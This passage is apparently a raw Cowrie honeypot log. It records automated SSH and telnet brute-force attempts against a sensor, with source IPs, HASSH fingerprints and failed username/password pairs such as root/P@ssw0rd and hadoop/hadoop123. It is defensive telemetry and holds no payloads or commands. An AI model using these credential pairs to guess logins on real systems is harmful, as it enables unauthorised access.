om","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:11.976543Z","src_ip":"45.156.87.253","session":"4464e4345406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:12.336463Z","src_ip":"45.156.87.253","session":"4464e4345406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:13.419756Z","src_ip":"45.156.87.253","session":"4464e4345406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39050,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee065b7b53ee","protocol":"ssh","message":"New connection: 45.156.87.253:39050 (10.17.0.5:22) [session: ee065b7b53ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:15.463183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:15.466961Z","src_ip":"45.156.87.253","session":"ee065b7b53ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:15.547525Z","src_ip":"45.156.87.253","session":"ee065b7b53ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"password","message":"login attempt [vncuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:15.796932Z","src_ip":"45.156.87.253","session":"ee065b7b53ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:16.879598Z","src_ip":"45.156.87.253","session":"ee065b7b53ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39054,"dst_ip":"10.17.0.5","dst_port":22,"session":"2142c636bbef","protocol":"ssh","message":"New connection: 45.156.87.253:39054 (10.17.0.5:22) [session: 2142c636bbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:18.899509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:18.908514Z","src_ip":"45.156.87.253","session":"2142c636bbef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:18.990978Z","src_ip":"45.156.87.253","session":"2142c636bbef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:19.241408Z","src_ip":"45.156.87.253","session":"2142c636bbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:20.327017Z","src_ip":"45.156.87.253","session":"2142c636bbef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58522,"dst_ip":"10.17.0.5","dst_port":22,"session":"415667292b92","protocol":"ssh","message":"New connection: 45.156.87.253:58522 (10.17.0.5:22) [session: 415667292b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:22.468871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:22.472511Z","src_ip":"45.156.87.253","session":"415667292b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:22.553149Z","src_ip":"45.156.87.253","session":"415667292b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58804,"dst_ip":"159.203.135.109","dst_port":22,"session":"cea7c889ea4f","protocol":"ssh","message":"New connection: 80.66.85.226:58804 (159.203.135.109:22) [session: cea7c889ea4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:22.769296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:22.772127Z","src_ip":"80.66.85.226","session":"cea7c889ea4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:22.798905Z","src_ip":"45.156.87.253","session":"415667292b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:22.876490Z","src_ip":"80.66.85.226","session":"cea7c889ea4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121183","message":"login attempt [root/121183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:23.153909Z","src_ip":"80.66.85.226","session":"cea7c889ea4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:23.882222Z","src_ip":"45.156.87.253","session":"415667292b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:24.247393Z","src_ip":"80.66.85.226","session":"cea7c889ea4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58534,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d52364d1ac","protocol":"ssh","message":"New connection: 45.156.87.253:58534 (10.17.0.5:22) [session: d2d52364d1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:25.852040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:25.855314Z","src_ip":"45.156.87.253","session":"d2d52364d1ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:25.938229Z","src_ip":"45.156.87.253","session":"d2d52364d1ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":33258,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc3a94d8ec18","protocol":"ssh","message":"New connection: 38.242.143.220:33258 (10.17.0.5:22) [session: cc3a94d8ec18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:25.969262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:25.972224Z","src_ip":"38.242.143.220","session":"cc3a94d8ec18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:26.061408Z","src_ip":"38.242.143.220","session":"cc3a94d8ec18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:26.181950Z","src_ip":"45.156.87.253","session":"d2d52364d1ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L00pr1ng!S3cur3#W0rd","message":"login attempt [root/L00pr1ng!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:26.333539Z","src_ip":"38.242.143.220","session":"cc3a94d8ec18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:27.265624Z","src_ip":"45.156.87.253","session":"d2d52364d1ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":50226,"dst_ip":"10.17.0.5","dst_port":23,"session":"706f2f503478","protocol":"telnet","message":"New connection: 72.167.226.244:50226 (10.17.0.5:23) [session: 706f2f503478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:27.313036Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:27.431644Z","src_ip":"38.242.143.220","session":"cc3a94d8ec18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46932,"dst_ip":"10.17.0.5","dst_port":22,"session":"9091f062aa05","protocol":"ssh","message":"New connection: 45.156.87.253:46932 (10.17.0.5:22) [session: 9091f062aa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:29.278847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:29.283099Z","src_ip":"45.156.87.253","session":"9091f062aa05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:29.364342Z","src_ip":"45.156.87.253","session":"9091f062aa05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:29.609105Z","src_ip":"45.156.87.253","session":"9091f062aa05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:30.693090Z","src_ip":"45.156.87.253","session":"9091f062aa05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46942,"dst_ip":"10.17.0.5","dst_port":22,"session":"111754e2a5bc","protocol":"ssh","message":"New connection: 45.156.87.253:46942 (10.17.0.5:22) [session: 111754e2a5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:32.627969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:32.631755Z","src_ip":"45.156.87.253","session":"111754e2a5bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:32.712314Z","src_ip":"45.156.87.253","session":"111754e2a5bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:32.955430Z","src_ip":"45.156.87.253","session":"111754e2a5bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":51662,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f891a413fb9","protocol":"ssh","message":"New connection: 166.62.89.133:51662 (10.17.0.5:22) [session: 3f891a413fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:33.564349Z"}
